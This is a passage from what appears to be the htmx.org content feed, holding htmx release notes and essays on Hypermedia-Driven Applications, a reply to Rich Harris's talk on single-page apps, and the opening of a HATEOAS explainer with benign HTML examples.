<li>You can now pass a swap style in to the <code>htmx.ajax()</code> function call.</li>
<li>Poll events now contain a <code>target</code> attribute, allowing you to filter a poll on the element that is polling.</li>
<li>Two new Out Of Band-related events were added: <code>htmx:oobBeforeSwap</code> & <code>htmx:oobAfterSwap</code></li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Many, many documentation updates (thank you to all the contributors!)</li>
</ul>
<p>Enjoy!</p>
Hypermedia-Driven Applications2022-02-06T00:00:00+00:002022-10-18T00:00:00+00:00Unknownhttps://htmx.org/essays/hypermedia-driven-applications/<h2 id="genesis"><a class="zola-anchor" href="#genesis" aria-label="Anchor link for: genesis">#</a>Genesis</h2>
<blockquote>
<p>thesis: MPA - multi-page application</p>
<p>antithesis: SPA - single-page application</p>
<p>synthesis: HDA - hypermedia-driven application</p>
<p>--<a rel="noopener" target="_blank" href="https://twitter.com/htmx_org/status/1490318550170357760">@htmx_org</a></p>
</blockquote>
<h2 id="the-hypermedia-driven-application-architecture"><a class="zola-anchor" href="#the-hypermedia-driven-application-architecture" aria-label="Anchor link for: the-hypermedia-driven-application-architecture">#</a>The Hypermedia-Driven Application Architecture</h2>
<p>The <strong>Hypermedia Driven Application (HDA)</strong> architecture is a new/old approach to building web applications. It combines
the simplicity & flexibility of traditional Multi-Page Applications (MPAs) with the better user experience of
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Single-page_application">Single-Page Applications</a> (SPAs).</p>
<p>The HDA architecture achieves this goal by extending the existing HTML infrastructure of the web to allow hypermedia
developers to create more powerful hypermedia-driven interactions.</p>
<p>Following the REST notion of architectural <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">constraints</a>,
two such constraints characterize the HDA architecture: </p>
<ul>
<li>
<p>An HDA uses <em>declarative, HTML-embedded syntax</em> rather than imperative scripting to achieve better front-end interactivity</p>
</li>
<li>
<p>An HDA interacts with the server <strong>in terms of hypermedia</strong> (i.e. HTML) rather than a non-hypermedia format (e.g. JSON)</p>
</li>
</ul>
<p>By adopting these two constraints, the HDA architecture stays within the original
<a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/REST">REST-ful</a> architecture of the web in a way that the SPA architecture
does not.</p>
<p>In particular, HDAs continue to use <a href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine of Application State (HATEOAS)</a>, whereas
most SPAs abandon HATEOAS in favor of a client-side model and data (rather than hypermedia) APIs.</p>
<h2 id="an-example-hda-fragment"><a class="zola-anchor" href="#an-example-hda-fragment" aria-label="Anchor link for: an-example-hda-fragment">#</a>An Example HDA fragment</h2>
<p>Consider the htmx <a href="https://htmx.org/examples/active-search/">Active Search</a> example:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">h3</span><span>>
</span><span> Search Contacts
</span><span> <</span><span style="color:#e06c75;">span </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"htmx-indicator"</span><span>>
</span><span> <</span><span style="color:#e06c75;">img </span><span style="color:#d19a66;">src</span><span>=</span><span style="color:#98c379;">"/img/bars.svg"</span><span>/> Searching...
</span><span> </</span><span style="color:#e06c75;">span</span><span>>
</span><span></</span><span style="color:#e06c75;">h3</span><span>>
</span><span><</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"form-control" </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">"search"
</span><span> </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">"search" </span><span style="color:#d19a66;">placeholder</span><span>=</span><span style="color:#98c379;">"Begin Typing To Search Users..."
</span><span> </span><span style="color:#d19a66;">hx-post</span><span>=</span><span style="color:#98c379;">"/search"
</span><span> </span><span style="color:#d19a66;">hx-trigger</span><span>=</span><span style="color:#98c379;">"keyup changed delay:500ms, search"
</span><span> </span><span style="color:#d19a66;">hx-target</span><span>=</span><span style="color:#98c379;">"#search-results"
</span><span> </span><span style="color:#d19a66;">hx-indicator</span><span>=</span><span style="color:#98c379;">".htmx-indicator"</span><span>>
</span><span>
</span><span><</span><span style="color:#e06c75;">table </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"table"</span><span>>
</span><span> <</span><span style="color:#e06c75;">thead</span><span>>
</span><span> <</span><span style="color:#e06c75;">tr</span><span>>
</span><span> <</span><span style="color:#e06c75;">th</span><span>>First Name</</span><span style="color:#e06c75;">th</span><span>>
</span><span> <</span><span style="color:#e06c75;">th</span><span>>Last Name</</span><span style="color:#e06c75;">th</span><span>>
</span><span> <</span><span style="color:#e06c75;">th</span><span>>Email</</span><span style="color:#e06c75;">th</span><span>>
</span><span> </</span><span style="color:#e06c75;">tr</span><span>>
</span><span> </</span><span style="color:#e06c75;">thead</span><span>>
</span><span> <</span><span style="color:#e06c75;">tbody </span><span style="color:#d19a66;">id</span><span>=</span><span style="color:#98c379;">"search-results"</span><span>>
</span><span> </</span><span style="color:#e06c75;">tbody</span><span>>
</span><span></</span><span style="color:#e06c75;">table</span><span>>
</span></code></pre>
<p>This is a UX pattern that would typically be associated with an SPA: as the user types, after a slight pause, search
results will populate the result table below. However, in this case, it is being achieved entirely within HTML,
in a manner consonant with HTML.</p>
<p>This example effectively demonstrates the essential characteristic of an HDA:</p>
<ul>
<li>
<p>The front end of the feature is specified entirely in declarative htmx attributes, directly in HTML</p>
</li>
<li>
<p>The interaction with the server is done via HTTP and HTML: an HTTP <code>POST</code> request is sent to the server, HTML is
returned by the server and htmx inserts this HTML into the DOM</p>
</li>
</ul>
<h2 id="scripting-in-an-hda"><a class="zola-anchor" href="#scripting-in-an-hda" aria-label="Anchor link for: scripting-in-an-hda">#</a>Scripting In An HDA</h2>
<p><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7">Code-On-Demand</a> is an optional
constraint of the original REST-ful architecture of the web.</p>
<p>Similarly, the HDA architecture has a final, optional constraint:</p>
<ul>
<li>Code-On-Demand (i.e. scripting) should, as much as is practical, be done <em>directly in</em> the primary hypermedia</li>
</ul>
<p>This addresses the concern regarding Code-On-Demand that Roy Fielding mentions in his thesis:</p>
<blockquote>
<p>However, (Code-On-Demand) also reduces visibility, and thus is only an optional constraint within REST.</p>
</blockquote>
<p>By embedding Code-On-Demand (scripts) directly in HTML, visibility is enhanced, satisfying the
<a href="https://htmx.org/essays/locality-of-behaviour/">Locality of Behavior</a> software design principle.</p>
<p>Three approaches to scripting that satisfy this third constraint are <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a>,
<a rel="noopener" target="_blank" href="https://alpinejs.dev">AlpineJS</a> and <a rel="noopener" target="_blank" href="http://vanilla-js.com/">VanillaJS</a> (when embedded directly on HTML elements).</p>
<p>Here is an example of each of these approaches:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span style="font-style:italic;color:#848da1;"><!-- hyperscript -->
</span><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">_</span><span>=</span><span style="color:#98c379;">"on click toggle .red-border"</span><span>>
</span><span> Toggle Class
</span><span></</span><span style="color:#e06c75;">button</span><span>>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- Alpine JS -->
</span><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">@click</span><span>=</span><span style="color:#98c379;">"open = !open" </span><span style="color:#d19a66;">:class</span><span>=</span><span style="color:#98c379;">"{'red-border' : open, '' : !open}"</span><span>>
</span><span> Toggle Class
</span><span></</span><span style="color:#e06c75;">button</span><span>>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- VanillaJS -->
</span><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">onclick</span><span>=</span><span style="color:#98c379;">"</span><span style="color:#e06c75;">this</span><span>.classList.</span><span style="color:#e06c75;">toggle</span><span>(</span><span style="color:#98c379;">'red-border'</span><span>)</span><span style="color:#98c379;">"</span><span>>
</span><span> Toggle Class
</span><span></</span><span style="color:#e06c75;">button</span><span>>
</span></code></pre>
<p>In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:</p>
<ul>
<li>All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses</li>
<li>Scripting is used mainly to enhance the <em>front-end experience</em> of the application</li>
</ul>
<p>Scripting augments the existing hypermedia (HTML) but does not <em>supersede</em> it or subvert the fundamental REST-ful
architecture of the HDA.</p>
<h2 id="hda-style-libraries"><a class="zola-anchor" href="#hda-style-libraries" aria-label="Anchor link for: hda-style-libraries">#</a>HDA-style libraries</h2>
<p>The following libraries allow developers to create HDAs:</p>
<ul>
<li><a rel="noopener" target="_blank" href="https://htmx.org">https://htmx.org</a></li>
<li><a rel="noopener" target="_blank" href="https://unpoly.com/">https://unpoly.com/</a></li>
<li><a rel="noopener" target="_blank" href="https://piranha.github.io/twinspark-js/">https://piranha.github.io/twinspark-js/</a></li>
<li><a rel="noopener" target="_blank" href="https://hotwire.dev">https://hotwire.dev</a></li>
<li><a rel="noopener" target="_blank" href="https://hyperview.org/">https://hyperview.org/</a> (a mobile hypermedia!)</li>
</ul>
<p>The following scripting libraries, when used appropriately, complement the HDA approach:</p>
<ul>
<li><a rel="noopener" target="_blank" href="https://hyperscript.org">https://hyperscript.org</a></li>
<li><a rel="noopener" target="_blank" href="https://alpinejs.dev/">https://alpinejs.dev/</a></li>
<li><a rel="noopener" target="_blank" href="http://vanilla-js.com/">http://vanilla-js.com/</a> (embedded directly in HTML)</li>
</ul>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>The HDA architecture is a synthesis of two preceding architectures: the original Multi-Page Application (MPA) architecture
and the (relatively) newer Single-Page Application architecture.</p>
<p>It attempts to capture the advantages of both: the simplicity and reliability of MPAs, with a
<a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/REST">REST-ful Architecture</a> that uses
<a href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine Of Application State</a>, while providing a better user experience, on par
with SPAs in many cases.</p>
A Response To "Have Single-Page Apps Ruined the Web?"2021-12-24T00:00:00+00:002022-05-27T00:00:00+00:00Unknownhttps://htmx.org/essays/a-response-to-rich-harris/<p><a rel="noopener" target="_blank" href="https://twitter.com/rich_harris">Rich Harris</a> is a well-known web developer who works on <a rel="noopener" target="_blank" href="https://svelte.dev/">Svelte.js</a>, a novel
Single-Page Application (SPA) framework.</p>
<p>In October of 2021 he gave a talk at JamStack entitled <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=860d8usGC0o">“Have Single-Page Apps Ruined the Web?”</a>.</p>
<p>We have been asked for our opinion on the talk, so this essay is our response.</p>
<p>The first thing to say about the talk is that it is very well done: well produced, thoughtful, funny, fair to both sides of the debate
and very reasonable throughout. We don’t agree with a lot that Mr. Harris has to say, as we will detail below, but we respect
and appreciate his opinions as well as the technologies he works on.</p>
<h2 id="problems-with-spas"><a class="zola-anchor" href="#problems-with-spas" aria-label="Anchor link for: problems-with-spas">#</a>Problems with SPAs</h2>
<p>The talk begins with some reasonable criticisms of SPAs, particularly focusing on usability issues found
with Instagram, a canonical SPA implementation from our friends at Facebook. He takes a very fair look at
the drawbacks to SPAs, including but not limited to the following list:</p>
<ul>
<li>You will need a bloated JS framework</li>
<li>Performance will suffer</li>
<li>It will be buggy</li>
<li>There will be accessibility issues</li>
<li>The tooling is complicated</li>
<li>It will be less resilient</li>
</ul>
<p>After considering the usability issues with Instagram, Mr. Harris has this to say:</p>
<blockquote>
<p>Come on people. If the best front end engineers in the world can’t make
text and images work without five megabytes of javascript, then maybe
we should just give up on the web platform.</p>
</blockquote>
<p>Here we find ourselves in violent agreement with Mr. Harris, with the caveat that we would substitute “the <em>javascript</em> web platform”
for just “the web platform”, since that is what is in play with Instagram.</p>
<p>We would further clarify that SPA applications and frameworks often simply <em>ignore</em> the <em>actual</em> web platform, that is,
the original, <a href="https://htmx.org/essays/rest-explained/">REST-ful model</a> of the web, except as a bootstrap mechanism.</p>
<h2 id="problems-with-mpas"><a class="zola-anchor" href="#problems-with-mpas" aria-label="Anchor link for: problems-with-mpas">#</a>Problems with MPAs</h2>
<p>Mr. Harris then moves on to problems with Multi-Page Applications (MPAs) which are the “traditional”,
click-a-link-load-a-page-of-HTML web applications we are all familiar with and that are, to an extent,
being supplanted by SPAs.</p>
<p>Below, we will go through the various problems he outlines, all of which are true of “standard” MPAs,
and we will demonstrate how an MPA using a hypermedia-oriented technology, <a href="https://htmx.org/">htmx</a>, can solve each of them.</p>
<h3 id="you-can-t-keep-a-video-running-on-navigations"><a class="zola-anchor" href="#you-can-t-keep-a-video-running-on-navigations" aria-label="Anchor link for: you-can-t-keep-a-video-running-on-navigations">#</a>“You Can’t Keep A Video Running On Navigations”</h3>
<p>A general problem with standard MPAs is that they issue a full page refresh on
every request. This means something like a video or audio player will be replaced and, thus, stop playing, when a request is made.</p>
<p>This problem can be addressed in htmx via the <a href="https://htmx.org/attributes/hx-preserve/"><code>hx-preserve</code></a> attribute, which tells htmx to
preserve a particular piece of content between requests.</p>
<h3 id="back-button-infinite-scroll-don-t-work"><a class="zola-anchor" href="#back-button-infinite-scroll-don-t-work" aria-label="Anchor link for: back-button-infinite-scroll-don-t-work">#</a>“Back Button & Infinite Scroll Don’t Work”</h3>
<p>In the presence of infinite scroll behavior (presumably implemented via javascript of some sort) the back button will not work properly with an MPA. I would note that the presence of infinite scroll calls into question the term MPA, which would traditionally use paging instead of an infinite scroll.</p>
<p>That said, <a href="https://htmx.org/examples/infinite-scroll/">infinite scroll</a> can be achieved quite easily using htmx, in a hypermedia-oriented and obvious manner. When combined with the <a href="https://htmx.org/attributes/hx-push-url/"><code>hx-push-url</code></a> attribute, history and the back button works properly with very little effort by the developer, all with nice Copy-and-Pasteable URLs, sometimes referred to as “Deep Links” by people in the SPA community.</p>
<h3 id="what-about-nice-navigation-transitions"><a class="zola-anchor" href="#what-about-nice-navigation-transitions" aria-label="Anchor link for: what-about-nice-navigation-transitions">#</a>“What about Nice Navigation Transitions?”</h3>
<p>Nice transitions are, well, nice. We think that designers tend to over-estimate their contribution to application usability, however. Yes, the demo sizzles, but on the 20th click users often just want the UI to get on with it.</p>
<p>That being said, htmx supports using <a href="https://htmx.org/examples/animations/">standard CSS transitions</a> to make animations possible. Obviously there is a limit to what you can achieve with these pure CSS techniques, but we believe this can give you the 80 of an 80/20 situation. (Or, perhaps, the 95 of a 95/5 situation.)</p>
<h3 id="multipage-apps-load-javascript-libraries-every-request"><a class="zola-anchor" href="#multipage-apps-load-javascript-libraries-every-request" aria-label="Anchor link for: multipage-apps-load-javascript-libraries-every-request">#</a>“Multipage Apps Load Javascript Libraries Every Request”</h3>
<p>Mr. Harris focuses heavily on “crappy Ad Tech” as a culprit for web usability issues on the web, and who can defend the 2.5MB payload of tracking, spyware and adware that most websites deliver to their users today? Mr. Harris points out that SPAs ameliorate this issue by loading up this bundle of garbage once, rather than over and over on every request, as an MPA does.</p>
<p>Now, a vanilla MPA would typically have said garbage cached after the first request, so the download cost, at least, is about the same as with SPAs. But an MPA must <em>execute</em> the bundle of garbage again on each page, which does burn CPU and can lead to poor user experience.</p>
<p>However, an MPA powered by htmx, we note, has exactly the same characteristics as an SPA: the ad garbage would be downloaded and executed once on the first request, and, after that, all requests will be relatively light-weight replacements of DOM elements.</p>
<h3 id="mpas-have-network-latency-issues"><a class="zola-anchor" href="#mpas-have-network-latency-issues" aria-label="Anchor link for: mpas-have-network-latency-issues">#</a>“MPAs Have Network Latency Issues”</h3>
<p>This is a valid point: with an MPA-style application your UI interactions are gated by how fast your server can respond to requests, its latency. Part of that is network latency, which is hard to overcome without giving up one of the tremendously simplifying aspects of traditional web applications: a centralized data store. However, networks are fast and are getting faster, and there are well-known techniques for optimizing <em>server</em> latency (i.e. how fast your server returns a response), developed over decades, for monitoring and optimizing this response time. SQL tuning, Redis caching and so on, all well established and making sub-100ms responses a reasonable goal. Many htmx users remark just how fast htmx-based applications feel, but we won’t pretend that latency isn’t an issue to be considered.</p>
<p>Of course the problem with latency issues is that they can make an app feel laggy. But, like you, we have worked with plenty of laggy SPAs, so we must say the problem isn’t neatly solved by simply adopting SPA frameworks. On top of that, optimistically synchronizing data with a server can lead to extremely difficult to understand data consistency issues as well as a significant increase in overall application complexity, a topic we will return to later.</p>
<h3 id="github-has-ui-bugs"><a class="zola-anchor" href="#github-has-ui-bugs" aria-label="Anchor link for: github-has-ui-bugs">#</a>“GitHub Has UI Bugs”</h3>
<p>GitHub does, indeed, have UI bugs. However, none of them are particularly difficult to solve.</p>
<p>htmx offers multiple ways to <a href="https://htmx.org/examples/update-other-content/">update content beyond the target element</a>, all of them quite easy and any of which would work to solve the UI consistency issues Mr. Harris points out.</p>
<p>Contrast the GitHub UI issues with the Instagram UI issues Mr. Harris pointed out earlier: the Instagram issues would
require far more sophisticated engineering work to resolve.</p>
<h2 id="transitional-applications"><a class="zola-anchor" href="#transitional-applications" aria-label="Anchor link for: transitional-applications">#</a>Transitional Applications</h2>
<p>Mr. Harris then discusses the concept of “transitional applications” which are a mix of both SPA and MPA technologies.
This terminology is reasonable, and we will see if the term sticks in the industry.</p>
<p>We often recommend using htmx for the parts of the app where it makes sense to keep things simple, and then using other
technologies when needed: <a rel="noopener" target="_blank" href="https://alpinejs.dev/">alpine.js</a>, <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a>, a small reactive
framework, etc.</p>
<p>So we can agree with Mr. Harris here to an extent and recommend a “transitional” approach to web development, although
we would recommend leaning MPA/hypermedia when possible, whereas it seems fairly certain Mr. Harris would lean SPA/javascript.</p>
<h2 id="the-elephant-in-the-room-complexity"><a class="zola-anchor" href="#the-elephant-in-the-room-complexity" aria-label="Anchor link for: the-elephant-in-the-room-complexity">#</a>The Elephant In The Room: Complexity</h2>
<p>Unfortunately, there is a topic that Mr. Harris does not discuss, and we believe this may be because he doesn’t see it. He is a javascript developer who is passionate about that language and who swims in the engineering culture of front end frameworks, so the current <em>complexity</em> of javascript front end development seems natural to him. For many of us, however, the javascript ecosystem is simply <em>insanely</em> overly-complicated. Comically so, in fact, given the requirements of most web applications.</p>
<p>Many of the “transitional” technologies that Mr. Harris goes on to mention: <a rel="noopener" target="_blank" href="https://vercel.com/blog/everything-about-react-server-components">React Server Components</a> (which he calls “like html over the wire, but vastly more sophisticated), <a rel="noopener" target="_blank" href="https://markojs.com/">Marko</a> (which is doing “partial hydration”), <a rel="noopener" target="_blank" href="https://github.com/BuilderIO/qwik">Quik</a> (which aggressively lazy loads things, apparently), are all remarkable engineering achievements, but are also all, we must say, quite complicated.</p>
<p>This is, unfortunately, part of the culture of front end development right now: sky-high levels of complexity are tolerated in application frameworks, in build tool chains, in deployment models and so on, and, when problems arise due to all this complexity, more complexity is often offered as the answer.</p>
<p>“Simple” is disparaging and “sophisticated” is high praise.</p>
<p>This complexity is overwhelming many developers and development teams today. As Mr. Harris himself points out when discussing Instagram, even some of
the best front-end engineers in the world appear to be unable to keep it all under control.</p>
<p>So there is a cultural issue here.</p>
<p>There is a technical issue as well.</p>
<p>This technical issue can be summarized as “The Hypermedia Approach” vs. “The Remote Procedure Call (RPC) Approach”.</p>
<p>When web applications moved from MPAs to SPAs, they adopted, often unwittingly, an RPC approach to application development:
AJAX moved to JSON as a data serialization format and largely (<a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">and correctly</a>)
abandoned the hypermedia concept. This abandonment of The Hypermedia Approach was driven by the admitted usability
issues with vanilla MPAs.</p>
<p>It turns out, however, that those usability issues often <em>can</em> <a href="https://htmx.org/examples/">be addressed</a> using The Hypermedia Approach:
rather than <em>abandoning</em> Hypermedia for RPC, what we needed then and what we need today is a <em>more powerful</em> Hypermedia.</p>
<p>This is exactly what htmx gives you.</p>
<p>By returning to The Hypermedia Approach, you can build reasonably sophisticated web applications that address many of
Mr. Harris’s concerns regarding MPAs at a fraction of the complexity required by most popular SPA frameworks. Further, without
thinking about it very much, you will get all <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer#Architectural_concepts">the benefits</a>
that Roy Fielding outlined about truly REST-ful architectures.</p>
<p>Is The Hypermedia Architecture right for all web applications? Obviously not.</p>
<p>Is it right for many, and perhaps most, web applications? We certainly think so, at least in part.</p>
<h2 id="javascript-the-resistance"><a class="zola-anchor" href="#javascript-the-resistance" aria-label="Anchor link for: javascript-the-resistance">#</a>Javascript: The Resistance</h2>
<p>Now we get to the most emotionally charged claim made in the talk: that “the ship has sailed” on javascript, and that
we should accept that it will be the dominant programming language in web development going forward.</p>
<p>Mr. Harris believes that it will be <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Edge_computing">edge computing</a> that will be the
driver that finally eliminates the remaining, scattered opposition to javascript.</p>
<p>We are not so sure about that.</p>
<p>To the contrary, we do not expect edge computing to figure in the majority of web applications for the foreseeable future.
Or, to be frank, ever. CPU is cheap, network speeds are fast and increasing and microservices are a mess.</p>
<p>And, contra what Mr. Harris says, today the <a rel="noopener" target="_blank" href="https://insights.stackoverflow.com/trends?tags=java%2Cc%2Cc%2B%2B%2Cpython%2Cc%23%2Cvb.net%2Cjavascript%2Cassembly%2Cphp%2Cperl%2Cruby%2Cvb%2Cswift%2Cr%2Cobjective-c">trend is not obviously in javascripts favor</a>. Five years ago, we, as founding members
of the javascript resistance, were despairing of any hope of stopping the Javascript juggernaut. But then something
unexpected happened: Python took off and, at the same time, javascript flat lined:</p>
<div style="text-align:center">
<p><img src="/img/language-trends-so.png" alt="Javascript Devs" /></p>
</div>
<p>This trend of javascript peaking in the mid-2010’s can be observed <a rel="noopener" target="_blank" href="https://www.benfrederickson.com/ranking-programming-languages-by-github-users/">on GitHub</a> as well:</p>
<div style="text-align:center">
<p><img src="/img/language-trends-github.png" alt="Javascript Devs" /></p>
</div>
<p>Now, does this mean javascript will eventually “lose” to Python and go away?</p>
<p>Of course not. Javascript is a core technology of the web and will be with us forever. Without it, we couldn’t have built
htmx (or <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a>) so we are very thankful for javascript.</p>
<p>But this <em>does</em> imply that the future of the web does not <em>necessarily</em> belong <em>entirely</em> to javascript, as appeared to be the case
say five years ago.</p>
<p>We are fond of talking about the HOWL stack: Hypermedia On Whatever you’d Like. The idea is that, by returning to a (more powerful) Hypermedia Architecture, you can use whatever backend language you’d like: python, lisp, haskell, go, java, c#, whatever. Even javascript, if you like.</p>
<p>Since you are using hypermedia & HTML for your server interactions, you don’t feel that pressure to adopt javascript on
the backend that a huge javascript front end produces. You can still use javascript, of course, (perhaps in the form of <a rel="noopener" target="_blank" href="https://alpinejs.dev/">alpine.js</a>)
but you use it in the manner it was originally intended: as a light, front end scripting language for enhancing your
application. Or, if you are brave, perhaps you can try <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a> for these needs.</p>
<p>This is a world we would prefer to live in: many programming language options, each with their own strengths, technical cultures and thriving
communities, all able to participate in the web development world through the magic of more powerful hypermedia, rather than a
monolith of SPAs-talking-to-Node-in-JSON. Diversity, after all, is our strength.</p>
<p>In conclusion,</p>
<div style="text-align:center">
<p><img src="/img/js-devs-be-thinking.png" alt="Javascript Devs" /></p>
</div>
htmx 1.6.1 has been released!2021-11-22T00:00:00+00:002021-11-22T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-11-22-htmx-1-6-1-is-released/<h2 id="htmx-1-6-1-release">htmx 1.6.1 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.6.1/">1.6.1 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>A new <code>HX-Retarget</code> header allows you to change the default target of returned content</li>
<li>The <code>htmx:beforeSwap</code> event now includes another configurable property: <code>detail.isError</code> which can
be used to indicate if a given response should be treated as an error or not</li>
<li>The <code>htmx:afterRequest</code> event has two new detail properties: <code>success</code> and <code>failed</code>, allowing you to write
trigger filters in htmx or hyperscript:<pre data-lang="applescript" style="background-color:#1f2329;color:#abb2bf;" class="language-applescript "><code class="language-applescript" data-lang="applescript"><span> </span><span style="color:#c678dd;">on</span><span> htmx:afterRequest[failed]
</span><span> </span><span style="color:#c678dd;">set</span><span> #myCheckbox's checked to </span><span style="color:#d19a66;">true
</span></code></pre>
</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Fixed the <code>from:</code> option in <a href="https://htmx.org/attributes/hx-trigger/"><code>hx-trigger</code></a> to support <code>closest <CSS selector></code>
and <code>find <CSS selector></code> forms</li>
<li>Don’t boost anchor tags with an explicit <code>target</code> set</li>
<li>Don’t cancel all events on boosted elements, only the events that naturally trigger them (click for anchors, submit
for forms)</li>
<li>Persist revealed state in the DOM so that on history navigation, revealed elements are not re-requested</li>
<li>Process all <a href="https://htmx.org/attributes/hx-ext/"><code>hx-ext</code></a> attributes, even if no other htmx attribute is on the element</li>
<li>Snapshot the current URL on load so that history support works properly after a page refresh occurs</li>
<li>Many, many documentation updates (thank you to all the contributors!)</li>
</ul>
<p>Enjoy!</p>
HATEOAS2021-10-16T00:00:00+00:002022-02-06T00:00:00+00:00Unknownhttps://htmx.org/essays/hateoas/<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lexend+Zetta:wght@900&display=swap&text=HATEOAS" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Lexend+Zetta:wght@900&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Source+Serif+Pro:ital,wght@0,400;0,600;0,700;1,400;1,700&display=swap" rel="stylesheet">
<h1>HATEOAS</h1>
<section>
<h2 id="preface-hateoas-an-alternative-explanation"><a class="zola-anchor" href="#preface-hateoas-an-alternative-explanation" aria-label="Anchor link for: preface-hateoas-an-alternative-explanation">#</a>Preface: <em>HATEOAS — An Alternative Explanation</em></h2>
<p>This page is a reworking on the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/HATEOAS">Wikipedia Entry on HATEOAS</a>, which uses JSON.
Here we use HTML to explain the concept, and contrast it with JSON APIs. It is a more opinionated explanation of the
concept than would be appropriate for Wikipedia, but it is more correct in our opinion.</p>
</section>
<p>Hypermedia as the Engine of Application State (HATEOAS) is a constraint of the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer">REST application architecture</a> that distinguishes it from other network application architectures.</p>
<p>With HATEOAS, a client interacts with a network application whose application servers provide information dynamically through <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Hypermedia"><em>hypermedia</em></a>. A REST client needs little to no prior knowledge about how to interact with an application or server beyond a generic understanding of hypermedia.</p>
<p>By contrast, today JSON-based web clients typically interact through a fixed interface shared through documentation via a tool
such as <a rel="noopener" target="_blank" href="https://swagger.io/">swagger</a>.</p>
<p>The restrictions imposed by HATEOAS decouples client and server. This enables server functionality to evolve independently.</p>
<h2 id="example"><a class="zola-anchor" href="#example" aria-label="Anchor link for: example">#</a>Example</h2>
<p>A user-agent that implements HTTP makes a HTTP request of a REST end point through a simple URL. All subsequent requests the user-agent may make are discovered within the hypermedia responses to each request. The media types used for these representations, and the link relations they may contain, are standardized. The client transitions through application states by selecting from links within a hypermedia representation or by manipulating the representation in other ways afforded by its media type.</p>
<p>In this way, RESTful interaction is driven by hypermedia, rather than out-of-band information.</p>
<p>A concrete example will clarify this. Consider this GET request, issued by a web browser, which fetches a bank account resource:</p>
<pre data-lang="txt" style="background-color:#1f2329;color:#abb2bf;" class="language-txt "><code class="language-txt" data-lang="txt"><span>GET /accounts/12345 HTTP/1.1
</span><span>Host: bank.example.com
</span></code></pre>
<p>The server responds with a hypermedia representation using HTML:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Account number: 12345</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Balance: $100.00 USD</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Links:
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>deposits</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>>withdrawals</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>>transfers</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/close-requests"</span><span>>close-requests</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
